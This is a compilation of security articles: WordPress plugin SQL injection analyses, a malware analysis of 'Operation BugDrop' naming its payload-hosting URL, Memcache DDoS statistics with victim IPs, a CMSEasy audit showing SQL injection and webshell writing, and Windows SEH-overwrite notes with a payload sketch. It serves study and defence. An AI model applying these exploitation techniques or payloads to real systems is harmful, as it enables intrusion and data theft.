开发者可以使用`sanitize_email()`来清理电子邮件的地址，使用`sanitize_text_field()`来清理文本，使用`sanitize_sql_orderby()`来验证SQL的`ORDER
BY`语句等。 WordPress中的`sanitize_*()`类辅助函数已经覆盖了大多数用户输入类型。
尽管WordPress
Core正在尽最大努力帮助开发者防止常见攻击，这些攻击通常因用户的恶意输入导致，但不够精湛的编程能力和滥用转义功能仍会导致一些简单但又关键的漏洞。
## 漏洞分析
### FG-VD-19-092：SQL Injection in AdRotate Plugin through 5.2 for WordPress
这是一个经典的SQL注入漏洞，位于v5.2版本的 **AdRotate** 插件中，免费版和收费版都受影响。 漏洞位于
**dashboard/publisher/adverts-edit.php** ，第52行:
**$ad_edit_id** 用于构造SQL查询语句。该变量来自 **adrotate_manage** 函数的`$_GET`：
由于`esc_attr`方法只会转义HTML属性，而且在SQL查询中`$ad_edit_id`并未使用双引号转义，因此我们可以向`$ad_edit_id`中注入有效负载，从而执行任意SQL语句。
虽然需要登入后台管理界面，但由于此处缺少CSRF令牌，攻击者可以通过SQL注入窃取会话令牌（需要少量交互），并且导致XSS：
在后续补丁中，开发者只是用单引号包裹了`$ad_edit_id`变量。
**时间线：**
* 2019年7月9日，Fortinet向AJDG Solutions报告了该漏洞。
* AJDG Solutions询问了漏洞信息，并且在7月10日确定了漏洞。
* AJDG Solutions在7月12日推出更新补丁。
### FG-VD-19-099：SQL Injection in NextGEN Gallery Plugin through 3.2.10 for
WordPress
从2007年以来， **NextGEN Gallery** 一直都业界标准的WordPress图库插件，每年新增超过150万次的下载量。
通过该插件可以非常容易地处理图片，并且也能够满足专业人士的使用。 在撰写本文时， **NextGEN Gallery**
的安装量已超900000次，是图库类型中最受欢迎的插件[[3]](https://wordpress.org/plugins/nextgen-gallery/)。
漏洞存在于AJAX API，用户可以在撰文时添加图库的图片。
**modules/attach_to_post/package.module.attach_to_post.php**
中的`get_displayed_gallery_entities_action`函数负责展示所选图库的图片。在119行，程序通过POST方法创建一个图库对象，然后遍历数组参数`displayed_gallery`。对象的属性由helper函数`esc_sql`转义。
在130行将会调用`get_entities`方法，该方法定义于
**modules/nextgen_gallery_display/package.module.nextgen_gallery_display.php**
：
传入的`$request`为 **both** ，因此调用第832行中的`_get_image_entities`。
该函数的作用是执行一个查询，然后返回要展示的图库中的所有图片。
在1041行可以看出，程序应用了基于`$sort_by`和`$sirt_direction`的order排序值，参数都是从创建的图库对象检索的。只要是可以使用NextGEN
Gallery的用户，都可以更改参数来创建某个图库对象。 尽管对象的所有属性都会经由`esc_sql`方法清理，但实际上，攻击者不用转义引号即可在
**ORDER BY** 中注入SQL语句。因此 `esc_sql`无法保护 **NextGEN Gallery** 免受SQL注入攻击。
**Imagely** 团队正确地修复了该漏洞。仅允许ORDER BY子句中的固定值，用户无法控制输入，所以该查询是安全的。
**时间线** ：
* 2019年7月23日，Fortinet向Imagely报告漏洞。
* 2019年7月24日，Imagely确定漏洞，并为NextGEN Gallery 3.2.10推出补丁。
* 2019年8月27日，Imagely在NextGEN Gallery 3.2.11中修复了该漏洞。
通过类似的方式，我发现另外七个插件也同样受SQL注入的影响。 其中一个尝试为排序值使用白名单策略，但由于编码错误而未能实现。
### FG-VD-19-098：SQL Injection in Impress Give Plugin through 2.5.0 for
WordPress
Give是WordPress上评分最高，下载量最多并且功能最好的捐赠插件[[4]](https://wordpress.org/plugins/give/)。
漏洞位于 **includes/donors/class-give-donors-query.php** 的`get_order_query`函数：
注释表明`get_order_query`方法用于删除 **ORDER BY** 子句中不存在的列，并通过helper函数`esc_sql`过滤排序值。
但删除工作不会按预设的那样，因为在第467行中`unset`不存在的列后，在第470行中继续插入排序值并且进行转义。我们都已经知道`esc_sql`对于防止ORDER
BY子句中的SQL注入没有用。 因此攻击者仍然可以构造恶意查询语句。 同样，我们可以使用SQL盲注技术来利用此漏洞。
**Impress** 团队的补丁中只更改了1行代码就可以使得程序功能恢复，此时查询完全安全。
**时间线** ：
* 2019年7月11日Fortinet报告了此漏洞。
* 2019年7月11日Give团队开始调查。
* 在2019年7月13日，确认漏洞并发布补丁。Give团队要求在8月11日后再披露，以便为用户有充足的升级时间。
其他漏洞也具有相同代码模式，并且补丁非常相似。
## 建议
在本文，我们提出了一些开发WordPress插件时需要注意的地方，插件应该尽量防止SQL注入攻击。
WordPress社区有一份完整的插件开发手册[[5]](https://developer.wordpress.org/plugins/)。
作为开发者，应始终参考WordPress编码标准并遵循最佳实践原则。
此外，下面这几条建议有助于避免SQL注入，并且还可以防止用户输入恶意字符导致的其他漏洞：
* 永远不要相信用户输入。 在传递用户提供的数据之前和之后都执行验证和清理。
* 如果仍不确定数据是否安全，请使用合适的内置清理函数。 例如，使用`sanitize_sql_orderby()`可以修复本文的所有漏洞。
* 在99%的情况下，使用预固定语句而不是`esc_sql`函数。
* 剩下的1%的情况，可以使用`esc_sql`函数，但请将转义后的值用引号包裹。
## 小结
WordPress是最著名的一款CMS，占互联网上CMS的61.0％，并且占所有网站的34.3％[[6]](https://w3techs.com/technologies/details/cm-wordpress/all/all)。
根据Wordfence的报告，WordPress中52％的漏洞都是由于WordPress插件[[7]](https://www.wordfence.com/blog/2016/03/attackers-gain-access-wordpress-sites/)。 通过这点，可以推测WordPress插件是网络犯罪份子的重要攻击点。
SQL注入不是一种新兴技术，但它总可以对Web应用程序和服务器构成严重威胁。 为避免这种情况，开发人员应始终参考编码标准并遵循最佳实践原则。
参考来源：[fortinet.com](https://www.fortinet.com/blog/threat-research/wordpress-plugin-sql-injection-vulnerability.html) | 社区文章 |
# 【技术分享】黑客通过麦克风窃取乌克兰70目标超600G数据
|
##### 译文声明
本文是翻译文章，文章来源：cyberx-labs.com
原文地址：<https://cyberx-labs.com/en/blog/operation-bugdrop-cyberx-discovers-large-scale-cyber-reconnaissance-operation/>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
作者：[pwn_361](http://bobao.360.cn/member/contribute?uid=2798962642)
预估稿费：200RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**
**
**前言**
CyberX发现了一个大规模的网络攻击行动，该行动瞄准了乌克兰的很多目标。至少已经成功入侵了70个目标，涉及到关键基础设施、媒体和科学研究机构。该行动的目的是捕捉目标中的一系列敏感信息，包括对话录音、屏幕截图、文件和密码。由于它能偷偷摸摸的在目标中装窃听器(bug)，窃取敏感音频，并使用Dropbox来存储偷取的数据，因此CyberX将它命名为“Operation
BugDrop”。
**一、Operation BugDrop：瞄准的目标**
CyberX已经确定该行动至少已经成功入侵了70个目标，涉及关键基础设施、媒体和科学研究机构。该行动的目的是捕捉目标中的一系列敏感信息，包括对话录音、屏幕截图、文件和密码。不同于录像记录，录像记录通常很容易被用户阻挡，但在没有物理访问和禁用PC硬件的情况下，几乎不可能阻止你计算机的麦克风。
大多数目标位于乌克兰，但是俄罗斯也有目标，位于沙特阿拉伯和奥地利的目标较少。许多目标都位于公然宣布分裂的地区，如顿涅茨克和卢甘斯克，已被乌克兰政府列为恐怖组织。
到目前为止，被CyberX识别出的“Operation BugDrop”行动的目标示例如下：
1\. 为石油和天然气管道基础设施设计远程监控系统的公司。
2\. 一个国际组织，主要是观察乌克兰的人权、反恐和关键基础设施的网络攻击情况。
3\. 一个工程公司，主要设计变电站、燃气分配管道和供水设备的。
4\. 一个科研院所。
5\. 乌克兰报纸的编辑。
该行动是一个组织严密的行动，采用了复杂的恶意软件，在它的背后似乎是一个有大量资源的组织。特别是，该行动需要大量后端基础设施来存储、解密和分析每天窃取的几个GB的非结构化数据，需要一个庞大的人类分析团队对捕获的数据进行排序并手工处理，或是用大数据分析。
起初，CyberX看到了“Operation BugDrop”行动和之前的一个“Operation
Groundbait”行动有一些相似性，“Operation
Groundbait”是ESET在2016年5月发现的一个网络监控行动。然而，尽管这两个行动的黑客使用了相似的策略、技术、和过程，但是“Operation
BugDrop”行动的过程明显比那些早期的行动更复杂一些。例如，它使用了：
1\. 使用Dropbox来存储偷取的数据，这是一个聪明的方法，因为Dropbox的流量通常不会被企业防火墙阻止或监控。
2\.
使用了反射DLL注射技术，这是一个注射恶意软件的高级技术，也被BlackEnergy用在了乌克兰电网攻击中，被Duqu用在了对伊朗核设施的蠕虫病毒攻击中。反射DLL注射可以在没有调用正常Windows
API的情况下加载恶意行为代码，从而在它加载到内存的过程中，绕过安全验证代码。
3\. 使用了加密DLLs，因此避开了普通反病毒软件和沙箱系统的探测，因为这些系统没有能力分析加密文件。
4\.
使用了合理的免费WEB托管网站建立了命令和控制基础设置。C&C服务器对于攻击者来说是一个潜在的陷阱，因为调查者在识别攻击者时，通常会通过免费提供的工具，如whois和PassiveTotal，获得C&C服务器域名的注册信息。免费WEB托管网站，换句话说，需要少的或没有注册信息。“Operation
BugDrop”行动使用了一个免费WEB托管网站用于存储核心恶意软件模块，该恶意软件模块用于下载并感染受害人。相比之下，“Operation
Groundbait”的攻击者注册并购买了自己的恶意行为域名和IP地址。
“Operation
BugDrop”使用了有针对性的钓鱼邮件感染它的受害者，该邮件中内嵌了带有恶意宏的Office附件。它在目标用户还没有启用宏的情况，使用了聪明的社会工程学策略欺骗用户启用宏。
**二、CyberX是怎样调查“Operation BugDrop”行动的？**
CyberX的威胁情报研究团队首次在自然环境下发现了“Operation
BugDrop”。然后，团队逆向了它的代码，并分析了它的各种组件(用于网络钓鱼攻击的诱饵文件、病毒释放器、主要模块、麦克风模块等。)，及它是怎么和C&C服务器进行通信的、怎么加密文件的。
**目标分布的地理位置**
**程序模块的编译时间**
该模块大约是在ESET宣布存在Groundbait行动后一个月编译的。如果这两个行动真的有关联，那就预示着该组织修改了程序过程，以避免被探测到。
**技术细节**
图为恶意软件体系结构的高级视图
**1.感染方法**
将精心制作的钓鱼邮件发送给目标用户，并包含一个带有恶意宏的WORD文件。如果目标用户没有启用宏，会给用户呈现一个假的对话框(下图)，提示他们启用宏。该对话框是经过严密设计的，让用户看起来似乎是一个真实的微软Office消息。
在对话框中有一个俄语文本“внимание! Файл создан в более новой версии программы Микрософт
Office. Необходимо включить Макросы для корректного отображения содержимого
документа”。
它的意思是“注意，该文件是用一个新版本微软Office程序创建的，为了正确显示文件的内容，你必须启用宏”。
文件最后修改日期为2016-12-22 10:37:00。该WORD文档本身(下图)显示了军事人员名单，包含个人详细信息，如生日和地址。
**2.主下载者**
通过从临时文件夹运行一个释放出的恶意VB脚本，从诱饵文件中提取出主下载者文件。该文件被探测到的概率很小(在54个AV产品中，只有4个探测到了该文件)。
**3.病毒释放—第一阶段**
下载者的图标是从一个俄罗斯社交媒体网站中复制的(http://sevastopol.su/world.php?id=90195)。
该图标的内容是在开乌克兰人的玩笑([http://s017.radikal.ru/i424/1609/83/0c3a23de7967.jpg](http://s017.radikal.ru/i424/1609/83/0c3a23de7967.jpg)
)。
在PE资源中存储着两个DLL，它们用一种异或方法进行过转换，方法是用当前字节和前一个字节进行异或，然后得到当前的新字节。这种方法比仅用简单的XOR更好一些，因为它会让加载者字节的分布不像是一个正常的PE文件。这将有助于该文件更加混淆，从而难以被反病毒系统探测到。
这两个DLL会被释放到AppData文件夹：
在第二阶段中，将会使用反射DLL注入加载DLL，并执行。
**4.病毒释放—第二阶段—获得持久化**
内部名称：loadCryptRunner.dll。
编译时间：2016年12月12日星期一10:09:15。
该模块负责持久化和执行DLL，在第二阶段会将自己注册到注册表的两个项中：
通信DLL也采用反射DLL注入方法来加载。
**5.病毒释放—第三阶段—下载主模块**
内部名称：esmina.dll。
编译时间：2016年10月10日星期一14:47:28 。
该模块的主要目的是下载主模块。
主模块托管在一个免费的WEB托管网站中，URL是windows-problem-reporting.site88.net。
关于此URL，我们在公共数据资源中没有找到它的任何信息。
主模块被下载后，会使用反射DLL注入加载到内存中。
**6.主模块**
主模块会下载各种各样的数据窃取插件并分配给每个受害者，并执行它们。
它还窃取本地存储的数据，并上传到Dropbox。
主模块采用了一些反逆向工程（RE）技术。
主要包括检查是否存在调试器、程序是否在虚拟机中运行、有没有运行ProcessExplorer、有没有运行WireShark。并在注册表中下面的两项里注册自己：
**7.Dropbox机制**
在服务器上有3个目录：
obx目录中包含了主模块使用的各种模块，ibx目录中包含了插件上传的窃取的数据，rbx中包含了客户端的基本信息。攻击者将数据从Dropbox账户取回后，Dropbox账户中的数据将会被删除。该账户的详细信息如下：
**8.加密机制**
数据窃取插件会将所有窃取的数据临时存储在“%USERPROFILE%AppDataRoamingMedia”文件夹中，并且在主模块将数据发送到Dropbox前，这些文件是用Blowfish算法加密过的，Blowfish加密密钥是客户端ID。
**9.数据窃取插件**
文件收集者：搜索存储在本地或共享驱动器上的各种文件格式(包括DOC、DOCX、XLS、XLSX、pptx、PPT、PDF、ZIP、RAR、DB、txt)，文件会按照需要进行上传。
USB文件收集者：在各种USB驱动器中搜索文件。
浏览器数据收集者：被用来窃取存储在浏览器中的密码和其它敏感信息。
麦克风：捕获音频对话。
计算机信息收集者：收集系统信息，如系统版本、计算机名、用户名、IP地址、MAC地址、反病毒软件等等。
并不是每一个插件都会被下载到目标中，每一个模块结合客户端ID产生一个唯一的扩展名，这样主模块就知道哪些模块应该下载到一个特定目标中。
**三、结论**
“Operation
BugDrop”是一个网络侦察行动，它的目的是收集目标各种领域的情报，包括关键基础设施、媒体、敏感研究机构。我们没有证据显示出该行动产生的任何损害或伤害，然而，对目标进行识别、定位、执行侦察，通常只是更广泛目标的第一步。
拥有财力资源的熟练黑客实施了“Operation
BugDrop”行动。鉴于每天需要分析的数据量，我们相信该行动背后拥有大量人员。考虑到代码的复杂性以及操作的执行情况，我们的结论是这些发起攻击行动的人有丰富的经验。我们没有将这次行动和国家民族关联起来，我们没有充分的证据将这次行动关联到一个特定的国家民族或组织上。查清“归属”是非常困难的，熟练的黑客可以轻易伪造线索或证据来增加查清“归属”的困难性。
私人和公共部门组织需要不断监测他们IT和OT网络中能表明他们已经被攻击的异常活动。幸运的是，新的算法技术，如行为分析，现在可以迅速以最小的误报来识别异常或未经授权的活动，尤其是在结合了可操作的威胁情报的情况下。组织还需要深入取证，以确定破坏的范围和影响，还要有一个可以迅速大范围实施的企业级事件响应计划。
**附录—文件HASH(SHA-256)** | 社区文章 |
# Memcache UDP 反射放大攻击 II: 最近的数据分析
##### 译文声明
本文是翻译文章，文章原作者 XU YANG，文章来源：blog.netlab.360.com
原文地址：<https://blog.netlab.360.com/memcache-ddos-ii-numbers-and-charts-by-ddosmon/>
译文仅供参考，具体内容表达以及含义原文为准。
### **传送门：[Memcache UDP反射放大攻击技术分析](https://www.anquanke.com/post/id/99516)**
我们在之前的 [文章](https://blog.netlab.360.com/what-we-know-about-memcache-udp-reflection-ddos/) 中已经提及，Memcache DRDoS 自从被360 0kee
team首次公开批露以来，在过去的9个月中在网络上都不活跃。但是最近十天以来，Memcache DRDoS
在现网中的攻击越来越频繁，所制造的攻击流量也在不断刷新，当前最新的公开记录已经到了
[1.7Tbps](https://www.securityweek.com/largest-ever-13tbps-ddos-attack-includes-embedded-ransom-demands) 。
关于这种攻击方式，目前还有很多问题等待回答。例如，到底已经有多少受害者、攻击中所使用的反射点到底有多少、实际发生的反射放大倍数是多少，等等。通过回答这些问题，我们可以充分描述当前总体态势，有助于安全社区理解这种新的DDoS攻击方式。
为此我们在 Memcache DRDoS 在 DDoSMon 上建立了一个
[实时页面](https://ddosmon.net/memcached_amplification_attack)
，展示我们看到的相关DDoS攻击情况，供安全社区参考。
## 总体趋势
上面两图展示了每天中发生的攻击事件次数。可以看出，从2018-02-24开始，这种攻击在几天内快速发展。我们暂且将时间划分为下面这些阶段：
* ~ 2018-02-24 之前，每日平均小于 50 起攻击事件
* 第一阶段：02-24 ~ 02-28，每日平均 372 起攻击事件
* 第二阶段：03-01 ~ 03-07，每日平均 1758起攻击事件
* 03-06，今天已经发生 721 起攻击事件，还有12个小时结束，后续发展还有待观察
上图是每日活跃（即实际参与了攻击的）的反射点数量。从2018-02-24 快速增长以后，每日活跃的反射点数量一直稳定。
我们还挑选了 03-07 当天的15k个活跃反射点进行了实际测试。其中 15%
的反射点回应了我们用来探测的stats命令，确实拥有参与实际攻击的能力。15%
这个比例看起来比例较低，考虑到可能当前这些服务器的带宽已经接近耗尽或者接近ISP设定上限，也许需要多次测量来确认实际情况。
## 受害者案例
在过去这些天中，已经有一些主要的网站成为这种攻击方式的受害者。例如，github 在 2018-02-28 17:20
GMT附近，遭遇了一次DDoS攻击，其流量峰值达到 1.3Tbps，或者126.9mpps（百万包/秒）。
[akamai](https://blogs.akamai.com/2018/03/memcached-fueled-13-tbps-attacks.html) 和 [github](https://blogs.akamai.com/2018/03/memcached-fueled-13-tbps-attacks.html) 均发布了文档描述此事件。
在 DDoSMon 上，我们能看到 www.github.com 这个域名在2018-03-01 和 2018-03-02
遭受了两次攻击，前者就是上文提到的那次攻击：
* **受攻击IP** ：192.30.252.113
* **发生时间** ：分别是 IP在 2018-03-01 14:26:22 和 2018-03-02 01:13:44 （GMT +8）
* **来源端口** ：流量集中在 UDP 11211 源端口上
* **攻击类型** ：被 ddosmon 标注为udp@attack@amp_flood_target-MEMCACHE
**实际攻击中使用到的 memcache stats 指令并不能制造 50k 的放大倍数**
我们为这种攻击方式搭建了服务蜜罐，并采集到了超过 37k 次攻击指令（请求包）。
如下表所示，99% 的攻击指令都是基于 memcache stats 指令。
我们在上一篇 [文章](https://blog.netlab.360.com/what-we-know-about-memcache-udp-reflection-ddos/) 中提到，我们对实际环境中的实际放大倍数做了测试。在那个测试中，我们利用 stats 指令能获得的放大倍数在几十倍左右。
## 受害者列表
这7天中，我们的DDoSMon平台记录了：
* 10k 次攻击事件
* 7131 个受害者IP地址
为了使得结果更加可读，我们使用了PDNS 数据把受害者IP映射回他们的域名。这些IP中，有 981(13%) 个最近一周内有过域名解析，有1.5k(22%)
个历史上有过域名解析。
我们将这些有DNS域名解析的受害者，分别选择位于Alexa和float排名前1百万的，制作了两个列表。
下面是位于 Alexa 排名前1百万的受害者。需要指出我们只保留了SLD而非全部FQDN，所以表格中虽然列出了 a.com ，但实际上受攻击的可能是
xyz.a.com。
target_ip rank belongs to sld
59.37.97.93 9 qq.com
182.254.79.46 9 qq.com
36.110.213.82 21 360.cn
216.18.168.16 32 pornhub.com
192.30.255.113 74 github.com
192.30.253.125 74 github.com
192.30.253.113 74 github.com
192.30.253.112 74 github.com
151.101.128.84 80 pinterest.com
104.155.208.139 112 googleusercontent.com
下面是位于 float 排名前1百万的受害者。float
是我们内部的一个工具，主要使用中国大陆地区访问数据评估域名流行度。使用float排名时的一个好处是该排名基于FQDN，这样我们就不需要再次映射到
SLD，这样比较方便。
target_ip rank fqdn
115.239.211.112 12 www.a.shifen.com
182.254.79.46 21 mp.weixin.qq.com
59.37.97.93 464 pingma.qq.com
114.80.223.177 587 interface.hdslb.net
47.91.19.168 587 interface.hdslb.net
222.186.35.81 587 interface.hdslb.net
114.80.223.172 587 interface.hdslb.net
140.205.32.8 867 sh.wagbridge.aliyun.com.gds.alibabadns.com
114.80.223.177 1052 bilibili.hdslb.net
47.91.19.168 1052 bilibili.hdslb.net
上述两份列表分别可以在
[这里](https://blog.netlab.360.com/file/memcache.drdos.victim.in.alexa.top.1m.txt)
和
[这里](https://blog.netlab.360.com/file/memcache.drdos.victim.in.float.top.1m.txt)
下载
观察这个列表可以看到一些有意思的受害者，例如：
* 有些大网站本身就经常被攻击，例如 360, amazon, google, qq, 等等
* 有些网站是游戏行业的，例如 minecraft.net, playstation.net, rockstargames.com ，等等
* 有些网站是色情行业的，例如 homepornbay.com, pornhub.com
* 有些网站是安全行业的，例如 360.cn, avast.com, kaspersky-labs.com
* 一些政府相关网站，例如 epochtimes.com, nra.org, nrafoundation.org ,racarryguard.com
* 还有那个总是可以看到最新攻击的:) krebsonsecurity.com
下面是受害者的地理分布：
以及ASN 分布：
总体而言，当前的受害者主要集中在美国、中国（含中国香港）、韩国、巴西、法国、德国、英国、加拿大、荷兰。
## 这些攻击事件中涉及的反射点/memcache 服务器
在继续分析这些攻击事件中涉及的反射点之前，我们必须指出：
* 这里所涉及的反射点，均“ **已经** ”在真实攻击中被使用， **而非“可能”** 存在被利用的隐患
* 由于我们数据来源的地缘性限制，我们会看到中国区相关的数据较多，世界其他区域的数据相对较少
通过对所有反射点的分析，我们发现共有 62k 个反射点已经参与真实攻击事件。其中前20 的ASN 列表如下：
这些排名最靠前的20个ASN也仅能覆盖大约 53% 的活跃反射点，还有大约29k(47%)的反射点分布在其他 2.8k 个ASN中，如下表所示：
因此：
* 尽管前期有若干主要电信运营商已经在 UDP 11211 上做端口限速，为后续所有动作争取了时间
* 但是 memcache 服务器的分布较广，很难想象全部 4.8k 个ASN 均采取限制措施。
* 仍然需要memcache 服务的开发者、发行者、使用者做工作，才能关闭掉这些反射点。
在文章的结尾，我们很高兴的注意到 memcached 的服务的开发者已经在
3月3日，提交[代码](https://github.com/memcached/memcached/commit/dbb7a8af90054bf4ef51f5814ef7ceb17d83d974)
缺省关闭了 memcache 的UDP监听端口。 | 社区文章 |
### 环境说明：
系统：Windows 10
集成环境：phpstudy
php版本：7.3.4
mysql版本：5.7.25
cms版本：7.7.4
### 前言
现在cms一般都是基于MVC思想去开发，所以在审计这个cms时我是直接从控制器开始看的，thinkphp与laravel等开发框架会把控制器放在controller目录，这个cms的控制器是在lib目录。
### 目录结构
cmseasy/
|-- admin
|-- api
|-- apps
|-- cache
|-- cn
|-- common
|-- config
|-- data
|-- en
|-- html
|-- images
|-- install
|-- jp
|-- lang
|-- lib
|-- license
|-- readme
|-- sitemap
|-- sk
|-- template
|-- template_admin
|-- ueditor
|-- wap
`-- webscan360
### 开始审计
##### 1.SQL注入
1.在文件lib/admin/database_admin.php的dorestore_action()方法接收到GET参数db_dir后会使用front::scan($dir)函数获取该目录下的文件名，然后将目录名与文件名传递给
tdatabase::getInstance()->restoreTables()函数，跟进该函数。
2.在文件lib/table/tdatabase.php的restoreTables函数可以看到，file_get_contents()函数读取文件内容后进行了字符替换与字符分割，文件内容被赋值给变量$sqls，然后赋值给$q，最终传递到$this->query()函数执行，继续跟进该函数。
3.在文件lib/inc/table.php的query函数，$sql语句被传递给了 $this->db->query() 函数。
4.在文件lib/inc/dbmysqli.php的query函数，$sql 被传递给 $this->mysqli->query()
函数执行了，而在这个文件中可以看到 $this->mysqli 是mysqli
类实例化的对象。一路跟下来从文件读取内容到被执行SQL语句没有做任何安全处理。
5.从以上代码分析可知该SQL注入需要配合文件上传。
6.首先上传一个文件，该文件写入 sql 语句，注意这个文件需要是目录下的第一个文件，否则sql语句可能会查询失败。
将静态文件目录设置为 /，点击保存。这样可以保证目录下的第一个文件就是我们上传的。
上传文件使用 burpsuite 抓包将内容修改为sql注入语句。
7.触发SQL注入漏洞，这里其实也存在文件读取漏洞。
##### 2.任意文件写入getshell
1.在文件lib/admin/table_admin.php的edit_action() 函数下，存在 file_put_contents
函数进行写入操作，文件名后缀默认为 php，POST的所有内容会在序列化之后放到 $tag_config 变量，最后执行 file_put_contents
将$tag_config 变量内容写入 php 文件。虽然 POST 的内容有被过滤，但是 POST 的参数名没被过滤，也就是说我们可以通过参数名写入
webshell。
2.发送构造好的请求包写入 webshell，没有回显但是没有关系文件名是可预判的。
3.访问webshell
#### 总结
SQL注入：从文件中获取SQL语句，如果文件名与内容可控那么就可能存在SQL注入。
任意文件写入getshell：虽然POST参数的值有被过滤，但是由于使用了序列化函数导致仍然可以通过参数名写入恶意代码。 | 社区文章 |
# windows pwn学习笔记
[TOC]
## 安装winpwn
pip install winpwn
pip install pefile
pip install keystone-engine
pip install capstone
## 栈溢出
### 相关结构体
32为系统下SEH结构体
//sehFrame
_EH3_EXCEPTION_REGISTRATION struc ; (sizeof=0x10, align=0x4, copyof_4)
0x0 Next dd ? ; offset
0x4 ExceptionHandler dd ? ; offset
0x8 ScopeTable dd ? ; XREF: _main+21/w ; offset
0xC TryLevel dd ? ; XREF: _main+57/w
0x10 _EH3_EXCEPTION_REGISTRATION ends
//scopeTable
_EH4_SCOPETABLE struc ; (sizeof=0x10, align=0x4, copyof_9, variable size)
0x0 GSCookieOffset dd ?
0x4 GSCookieXOROffset dd ?
0x8 EHCookieOffset dd ?
0xC EHCookieXOROffset dd ?
0x10 ScopeRecord _EH4_SCOPETABLE_RECORD 0 dup(?)
0x10 _EH4_SCOPETABLE ends
//scopeTable_Record
_EH4_SCOPETABLE_RECORD struc ; (sizeof=0xC, align=0x4, copyof_8)
0x0 EnclosingLevel dd ?
0x4 FilterFunc dd ? ; offset
0x8 HandlerFunc dd ? ; offset
0xC _EH4_SCOPETABLE_RECORD ends
### 触发异常源码
GS Cookies 验证代码
void __cdecl ValidateLocalCookies(void (__fastcall *cookieCheckFunction)(unsigned int), _EH4_SCOPETABLE *scopeTable, char *framePointer)
{
unsigned int v3; // esi@2
unsigned int v4; // esi@3
if ( scopeTable->GSCookieOffset != -2 )
{
v3 = *(_DWORD *)&framePointer[scopeTable->GSCookieOffset] ^ (unsigned int)&framePointer[scopeTable->GSCookieXOROffset];
__guard_check_icall_fptr(cookieCheckFunction);
((void (__thiscall *)(_DWORD))cookieCheckFunction)(v3);
}
v4 = *(_DWORD *)&framePointer[scopeTable->EHCookieOffset] ^ (unsigned int)&framePointer[scopeTable->EHCookieXOROffset];
__guard_check_icall_fptr(cookieCheckFunction);
((void (__thiscall *)(_DWORD))cookieCheckFunction)(v4);
}
会验证两个条件：
1、framePointer[scopeTable->GSCookieOffset] ^ framePointer[scopeTable->GSCookieXOROffset]== __security_cookie
2、framePointer[scopeTable->EHCookieOffset] ^ framePointer[scopeTable->EHCookieXOROffset]== __security_cookie
要绕过这检查1，可以伪造`scopeTable->GSCookieOffset=0xfffffffe`。但是对于条件2，还没有办法。
异常触发函数
int __cdecl _except_handler4_common(unsigned int *securityCookies, void (__fastcall *cookieCheckFunction)(unsigned int), _EXCEPTION_RECORD *exceptionRecord, unsigned __int32 sehFrame, _CONTEXT *context)
{
// 异或解密 scope table
scopeTable_1 = (_EH4_SCOPETABLE *)(*securityCookies ^ *(_DWORD *)(sehFrame + 8));
// sehFrame=Next, framePointer=ebp
framePointer = (char *)(sehFrame + 16);
scopeTable = scopeTable_1;
// 验证 GS
ValidateLocalCookies(cookieCheckFunction, scopeTable_1, (char *)(sehFrame + 16));
__except_validate_context_record(context);
if ( exceptionRecord->ExceptionFlags & 0x66 )
{
......
}
else
{
exceptionPointers.ExceptionRecord = exceptionRecord;
exceptionPointers.ContextRecord = context;
tryLevel = *(_DWORD *)(sehFrame + 12);
*(_DWORD *)(sehFrame - 4) = &exceptionPointers;
if ( tryLevel != -2 )
{
while ( 1 )
{
v8 = tryLevel + 2 * (tryLevel + 2);
filterFunc = (int (__fastcall *)(_DWORD, _DWORD))*(&scopeTable_1->GSCookieXOROffset + v8);
scopeTableRecord = (_EH4_SCOPETABLE_RECORD *)((char *)scopeTable_1 + 4 * v8);
encloseingLevel = scopeTableRecord->EnclosingLevel;//-2跳出后面的循环
scopeTableRecord_1 = scopeTableRecord;
if ( filterFunc )
{
// 调用 FilterFunc
filterFuncRet = _EH4_CallFilterFunc(filterFunc);
......
if ( filterFuncRet > 0 )
{
......
// 调用 HandlerFunc
_EH4_TransferToHandler(scopeTableRecord_1->HandlerFunc, v5 + 16);
......
}
}
......
tryLevel = encloseingLevel;
if ( encloseingLevel == -2 )
break;
scopeTable_1 = scopeTable;
}
......
}
}
......
}
这里要劫持filterFunc，就需要劫持scopeTable。这需要满足两个条件：需要能覆盖掉sehFrame结构体，并且能泄露securityCookies。
### payload
#伪造scopeTable
scopeTable = [
0x0FFFFFFFE, #GSCookieOffset
0, #GSCookieXOROffset
0x0FFFFFFCC, #EHCookieOffset
0 #EHCookieXOROffset
]
scopeTable_Record = [
0xfffffffe, #EnclosingLevel=-2
system('cmd'), #FilterFunc
0
]
sehFrame = [
Next, #original
ExceptionHandler, #original
scopeTable_addr, #fake
trylevel #如果要伪造trylevel，就需要修改scopeTable，否则就不篡改，维持original
]
payload = flat(scopeTable + scopeTable_Record)
payload += padding
paylaod += GS#___security_cookie 相当于canary
payload += Next + ExceptionHandler +scopeTable_addr + flat(sehFrame)#覆盖sehFrame结构
其中GS的位置计算方法如下：要满足`[ebp + scopeTable->EHCookieOffset] ^ [ebp +
scopeTable->EHCookieXOROffset]=GS`，scopeTable结构体的EHCookieOffset变量和EHCookieXOROffset变量所对应的ebp的偏移的位置的值抑或后等于GS。因此通常将EHCookieXOROffset设置为0，那么GS放置的位置就等于ebp
+ scopeTable->EHCookieOffset。
### 64位与32位的区别
1、windows 64位程序函数调用的参数顺序依次为rcx,rdx,r8,r9
2、在调用system(cmd.exe)过程中，若出现`MOVAPS
[rsp+0x4f0],xmm0`之类的错误而导致不能反弹shell，这是因为MOVAPS指令需要16字节对齐，因此需要在rop链中修改gadget来调整栈空间
## 堆溢出
### 相关结构体
32位下，chunk头部字段信息
ntdll!_HEAP_FREE_ENTRY
+0 Size #chunk的大小，实际大小为Size*8
+2 PreviousSize #前一个chunk的大小，实际大小*8
+4 SmallTagIndex #用于检查堆溢出的Cookie
+5 Flags #标志位
+6 UnusedBytes #用于对齐的字节数
+7 SegmentIndex #所属堆段号
+8 FreeList :[FD-BK]
Flags标志位：
0x01 Busy #该块处于占用状态
0x02 Extra present #该块存在额外描述
0x04 Fill pattern #使用固定模式填充堆块
0x08 Virtual Alloc #虚拟分配
0x10 Last entry #该段最后一个堆块
SmallTagIndex
实际上是安全cookie，算法如下：`_HEAP._HEAP_ENTRY.cookie=_HEAP_ENTRY.cookie^((BYTE)&_HEAP_ENTRY/8)`
Heap Entry相当于Linux下的chunk，windows对前8个字节进行了加密，加密方式：与HEAP结构0x50偏移处8个字节抑或
例题：2020强网杯wingame
